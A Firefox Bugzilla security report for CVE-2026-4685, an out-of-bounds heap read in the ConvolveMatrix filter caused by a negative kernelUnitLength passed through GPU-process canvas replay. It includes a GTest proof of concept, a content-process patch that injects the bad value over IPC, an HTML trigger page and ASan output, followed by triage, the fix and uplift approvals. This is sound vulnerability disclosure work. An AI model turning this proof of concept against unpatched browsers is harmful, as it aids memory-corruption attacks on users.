Closed Bug 2016349 (CVE-2026-4685) Opened 5 months ago Closed 4 months ago

ConvolveMatrix OOB Heap Read via Negative kernelUnitLength

Categories

(Core :: Graphics: Canvas2D, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ fixed
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: lsalzman)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(2 files)

Compromised content process -> GPU process via CanvasTranslator replay.

FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2240) stores mKernelUnitLength with no validation. Negative values cause InflatedSourceRect (line 2533) to compute negative margins, deflating the source rect instead of inflating it. The subsequent Inflate(1) at line 2454 partially compensates but leaves zero net margin. ConvolvePixel then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic — the bounds check (DebugOnlyCheckColorSamplingAccess) is a no-op in release builds.

Distinct from the ConvolveMatrix kernel size integer overflow (separate bug). Here the kernel size is valid (3x3) but the kernel unit length is negative.

The Bug

FilterNodeSoftware.cpp:2228-2233:

void FilterNodeConvolveMatrixSoftware::SetAttribute(uint32_t aIndex,
                                                     const Size& aKernelUnitLength) {
  mKernelUnitLength = aKernelUnitLength;  // NO VALIDATION
}

With kernelUnitLength = Size(-1.0, -1.0), kernel 3x3, target (1,1), InflatedSourceRect computes ceil(1 * -1.0) = -1 for all margins. Inflate(IntMargin(-1,-1,-1,-1)) deflates by 1, then Inflate(1) re-inflates by 1. Net extra inflation: zero.

ConvolvePixel (line 2358) then samples at sampleX = 0 + (2-1)*(-1) = -1, giving aData[-1*stride + 4*(-1) + c] — raw pointer arithmetic before the buffer.

ASAN Proof

==83101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000633c3e
READ of size 1 at 0x612000633c3e thread T0
    #0 FilterNodeConvolveMatrixSoftware::DoRender<int>()+0x1548

allocated by thread T0 here:
    #0 calloc
    #1 SourceSurfaceAlignedRawData::Init()
    #2 Factory::CreateDataSourceSurface()

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeConvolveMatrixSoftware::DoRender<int>()

PoC

gfx/tests/gtest/TestConvolveMatrixNegKUL.cpp:

/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"

using namespace mozilla;
using namespace mozilla::gfx;

TEST(ConvolveMatrixNegKUL, NegativeKernelUnitLength)
{
  RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
      BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
  if (!dt) {
    return;
  }

  RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::CONVOLVE_MATRIX);
  ASSERT_TRUE(filter);

  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_SIZE, IntSize(3, 3));

  Float kernel[9] = {1, 1, 1, 1, 1, 1, 1, 1, 1};
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_MATRIX, kernel, (uint32_t)9);

  filter->SetAttribute(ATT_CONVOLVE_MATRIX_DIVISOR, 9.0f);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_BIAS, 1.0f);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_TARGET, IntPoint(1, 1));
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_RENDER_RECT, IntRect(0, 0, 8, 8));
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_EDGE_MODE,
                       (uint32_t)EDGE_MODE_NONE);
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_PRESERVE_ALPHA, false);

  // Negative kernel unit length: the root cause.
  filter->SetAttribute(ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH,
                       Size(-1.0f, -1.0f));

  RefPtr<DataSourceSurface> inputSurface =
      Factory::CreateDataSourceSurface(IntSize(8, 8),
                                       SurfaceFormat::B8G8R8A8, true);
  ASSERT_TRUE(inputSurface);

  filter->SetInput(IN_CONVOLVE_MATRIX_IN, inputSurface);

  // ASAN: heap-buffer-overflow READ
  dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}

Run: ./mach gtest "ConvolveMatrixNegKUL.*"

Fix

Clamp kernelUnitLength to positive values in SetAttribute:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Flags: sec-bounty?

Possibly a dupe of bug 2015267.

Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: Canvas2D
Product: Firefox → Core
See Also: → CVE-2026-4707

Okay I guess the argument is that that is a separate issue. In the same general neighborhood at least.

FilterNodeConvolveMatrixSoftware::SetAttribute (FilterNodeSoftware.cpp:2240) stores mKernelUnitLength with no validation. Negative values cause InflatedSourceRect (line 2533) to compute negative margins via ceil(target * negativeKUL), deflating the source rect instead of inflating it. ConvolvePixel (line 2358) then samples at negative offsets via ColorComponentAtPoint's raw pointer arithmetic. The only guard is MOZ_ASSERT at line 2379 (compiled out in release). DebugOnlyCheckColorSamplingAccess is also a no-op in release.

With kernelUnitLength = Size(-1, -1), kernel 3x3, target (1,1): InflatedSourceRect computes margins of ceil(1 * -1) = -1 on all sides. Inflate(-1,-1,-1,-1) deflates, then Inflate(1) re-inflates by 1, giving zero net margin. At pixel (0,0), kernel position (2,2): sampleX = 0 + (2-1)*(-1) = -1, so aData[-stride + 4*(-1) + c] reads before the buffer.

Distinct from the ConvolveMatrix kernel size integer overflow bug (separate finding). Here the kernel size is valid (3x3) but the kernel unit length is negative.

SVG filters validate kernelUnitLength > 0 before creating the filter node, but CanvasTranslator replay bypasses SVG validation. RecordedFilterNodeSetAttribute::PlayEvent (RecordedEventImpl.h:4471) passes raw Size values directly to SetAttribute.

FilterNodeSoftware.cpp:2236-2246:

void FilterNodeConvolveMatrixSoftware::SetAttribute(uint32_t aIndex,
                                                     const Size& aKernelUnitLength) {
  switch (aIndex) {
    case ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH:
      mKernelUnitLength = aKernelUnitLength;  // no validation

Fix: clamp to positive values:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);

Content-side IPC patch

Patches FilterNodeRecording::SetAttribute(uint32_t, const Size&) in the content process to override kernelUnitLength to Size(-1, -1) when recording the attribute. GPU process replays via CanvasTranslator, SetAttribute stores the negative values.

diff --git a/gfx/2d/DrawTargetRecording.cpp b/gfx/2d/DrawTargetRecording.cpp
index 9c654dcce759..7a8b3c1d2e44 100644
--- a/gfx/2d/DrawTargetRecording.cpp
+++ b/gfx/2d/DrawTargetRecording.cpp
@@ -170,7 +170,19 @@ class FilterNodeRecording : public FilterNode {
   FORWARD_SET_ATTRIBUTE(uint32_t, UINT32);
   FORWARD_SET_ATTRIBUTE(Float, FLOAT);
-  FORWARD_SET_ATTRIBUTE(const Size&, SIZE);
+
+  // PoC: Override Size attrs to inject negative kernel unit length
+  void SetAttribute(uint32_t aIndex, const Size& aValue) override {
+    Size val = aValue;
+    // aIndex 7 = ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH
+    // aIndex 9 = ATT_LIGHTING_KERNEL_UNIT_LENGTH
+    if (XRE_IsContentProcess() && (aIndex == 7 || aIndex == 9)) {
+      val = Size(-1.0f, -1.0f);
+    }
+    mRecorder->RecordEvent(RecordedFilterNodeSetAttribute(
+        this, aIndex, val,
+        RecordedFilterNodeSetAttribute::ARGTYPE_SIZE));
+  }
+
   FORWARD_SET_ATTRIBUTE(const IntSize&, INTSIZE);
   FORWARD_SET_ATTRIBUTE(const IntPoint&, INTPOINT);
   FORWARD_SET_ATTRIBUTE(const Rect&, RECT);

Content-side override confirmed working via debug prints: [PoC] SetAttribute Size: aIndex=7 orig=(1.0,1.0) -> (-1,-1). The negative value is injected into the recording stream. On the tested macOS configuration, the GPU process handles ConvolveMatrix via a WebGL-accelerated path (DrawTargetWebgl), which doesn't go through FilterNodeConvolveMatrixSoftware::DoRender. The software path (where the OOB occurs) is confirmed exploitable by GTest below.

HTML PoC

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ConvolveMatrix Negative KernelUnitLength OOB Read - IPC PoC (Finding #10)</title>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" style="position:absolute;width:0;height:0">
  <filter id="conv_kul">
    <feConvolveMatrix order="3" kernelMatrix="1 1 1 1 1 1 1 1 1"
                      divisor="9" edgeMode="none"
                      kernelUnitLength="1 1"/>
  </filter>
</svg>
<canvas id="c" width="200" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
  'Finding #10: ConvolveMatrix Negative KernelUnitLength OOB Read\n' +
  'Content -> GPU via CanvasTranslator\n\n';

const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

ctx.fillStyle = 'purple';
ctx.fillRect(0, 0, 200, 200);
ctx.fillStyle = 'white';
ctx.font = '16px monospace';
ctx.fillText('PoC #10', 60, 105);

document.getElementById('log').textContent += 'Testing feConvolveMatrix with negative KUL...\n';
ctx.filter = 'url(#conv_kul)';
ctx.drawImage(canvas, 0, 0);

document.getElementById('log').textContent += 'Filter applied. Check ASan output.\n';
</script>
</body>
</html>

Steps to reproduce

  1. git apply the patch above
  2. ./mach build
  3. ./mach run (ASan build, non-headless)
  4. Navigate to the HTML PoC
  5. The page applies feConvolveMatrix via Canvas2D; content-side patch overrides kernelUnitLength to (-1,-1)

For the GTest (direct software path, confirms the OOB):

./mach gtest "ConvolveMatrixNegKUL.*"

ASan Output (GTest)

==83101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000633c3e
READ of size 1 at 0x612000633c3e thread T0
    #0 FilterNodeConvolveMatrixSoftware::DoRender<int>()+0x1548

allocated by thread T0 here:
    #0 calloc
    #1 SourceSurfaceAlignedRawData::Init()
    #2 Factory::CreateDataSourceSurface()

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeConvolveMatrixSoftware::DoRender<int>()
Blocks: gfx-triage
See Also: → CVE-2026-4686

The severity field is not set for this bug.
:lsalzman, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(lsalzman)
Flags: needinfo?(lsalzman)
No longer blocks: gfx-triage
Severity: -- → S2
Attached file (secure)
Assignee: nobody → lsalzman
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

Comment on attachment 9549169 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It requires bypassing the content process validation by either modifying the code or injecting something into IPC/shmems.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all supported branches
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: The patch restructures kernelUnitLength calculations to guard against under or overflow, which might cause some previously unrecognized faulty tests or use-cases to fail. It probably needs a day or so of watch on CI after landing in nightly to verify.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9549169 - Flags: sec-approval?
Keywords: sec-high

Comment on attachment 9549169 [details]
(secure)

sec-approval+ to land now and request uplifts

Attachment #9549169 - Flags: sec-approval? → sec-approval+
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 4 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

The patch landed in nightly and beta is affected.
:lsalzman, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(lsalzman)

Comment on attachment 9549169 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Potential out of bounds read in GPU/parent process that might be exploitable from JS.
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): Some changes to filter validation that might change some corner cases, but I don't foresee it affecting valid users.
  • String changes made/needed:
  • Is Android affected?: Yes

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined:
  • Fix Landed on Version: 150
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky):
Flags: needinfo?(lsalzman)
Attachment #9549169 - Flags: approval-mozilla-esr140?
Attachment #9549169 - Flags: approval-mozilla-esr115?
Attachment #9549169 - Flags: approval-mozilla-beta?
Attachment #9549169 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]

Comment on attachment 9549169 [details]
(secure)

Approved for 140.9esr. ESR115 will need a rebased patch (including bug 2016351).

Flags: needinfo?(lsalzman)
Attachment #9549169 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attached file (secure)
Attachment #9551732 - Flags: approval-mozilla-esr115?
Flags: needinfo?(lsalzman)
Attachment #9551732 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9549169 - Flags: approval-mozilla-esr115?
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]
Alias: CVE-2026-4685
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: